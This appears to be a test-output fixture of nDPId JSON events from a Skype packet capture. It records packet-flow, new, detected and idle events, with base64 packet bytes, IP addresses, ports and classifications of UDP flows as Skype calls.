+00435{"flow_id":130,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":834,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":649142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0asRAAEAGtovAqAEiQAQXpsg1Abs0yMrlLkeiTIAQECxFxAAAAQEICj4x77VMQvL8"} +00535{"flow_id":130,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":835,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":649256,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8wv9AAEAGXgjAqAEiQAQXpsg1Abs0yMrlLkeiTIAYECzgAQAAAQEICj4x77VMQvL8gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIB0VYKLwDGux8zNmsOYKUZ\/"} +00447{"flow_id":67,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":836,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":690719,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA895JAAEAGYXfAqAEinTeCsMglnFZwrI9kwvNOL4AYECmq3AAAAQEICj4x795OqL2E+DHKQRbsUKg="} +00442{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":800253,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA61jYAAEARIQnAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00447{"flow_id":59,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":845910,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89l9AAEAG+cbAqAEinTfrk8ginEEPp73th03onYAYECkRewAAAQEICj4x8HlMYEZOu98xvI+OKgs="} +00435{"flow_id":130,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":852,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":848613,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0UWNAADYG2exABBemwKgBIgG7yDUuR6JMNMjLLYAQAB1VWAAAAQEICkxC8y8+Me+1"} +00522{"flow_id":130,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":853,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":848719,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxQiNAAEAG3u\/AqAEiQAQXpsg1Abs0yMstLkeiTIAYECzU8AAAAQEICj4x8HtMQvMvj3RAvemHT+P7z0rouwAwTgf6jSGe3VlkB506Kg5x6iMueUoaC06tZlkow8O3V51nHVDge5Zkoq+VQDfaxQ=="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":854,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.28","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":855921,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAgx0AAEARe8zAqAEib91KHDLdnFoALOnqe1MCA8GYjWWu9fDS5z8O1HnUzLtilbW9STWNzZ4dxAZIYogR"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":854,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.28","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":855,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":855921,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3uKMAAEAR4H7AqAEinTeCkjLdgQkAI\/pPe1UCb1OUWk4YvTHMO4jKAgG4ML6WHkkTPHmm"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":855,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":856,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.152","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":856,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":855985,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6xIYAAEAR1JLAqAEinTeCmDLdnFYAJvNGe1cC+NCgg6iFX83BbHq4v+mwzzHLJiFQXcBRQbw9"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":856,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.152","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00450{"flow_id":109,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":857,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":909149,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89dNAAEAGxZHAqAEib91Nr8gwnF4IVe1D0FEsUoAYECnPcQAAAQEICj4x8LdNo+Jb\/KZqQh\/x2yw="} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.33","src_port":13021,"dst_port":40002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.42","src_port":13021,"dst_port":40005,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.13","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.15","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.148","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.154","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.42","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.13","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1431970660848,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.160","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1431970661855,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.28","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.27","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.159","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1431970660848,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.22","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.27","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":13021,"dst_port":40007,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.160","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.149","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.142","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.144","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.156","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1431970652859,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.174","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":858,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1431970656861,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.172","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 